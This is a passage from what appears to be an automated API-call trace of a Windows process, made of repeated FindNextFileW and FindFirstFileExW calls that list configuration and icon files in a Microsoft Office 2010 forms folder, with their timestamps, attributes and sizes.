ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEM.CFG", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecff500, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ecff500, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEML.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081d900, ftCreationTime.dwHighDateTime=0x1c68838, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3081d900, ftLastWriteTime.dwHighDateTime=0x1c68838, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSITEMS.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLL.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDCNCLS.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQL.ICO", cAlternateFileName="")) returned 1 [0078.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDREQS.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNL.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESNS.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPL.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESPS.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20239f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTL.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCDRESTS.ICO", cAlternateFileName="")) returned 1 [0078.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65aa00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e65aa00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x335, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDCNCL.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabc91200, ftCreationTime.dwHighDateTime=0x1bfc4b1, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabc91200, ftLastWriteTime.dwHighDateTime=0x1bfc4b1, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREQ.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2049b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESN.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDRESP.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0078.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0078.416] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0078.416] GetLastError () returned 0x12 [0078.416] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0078.417] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.417] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, 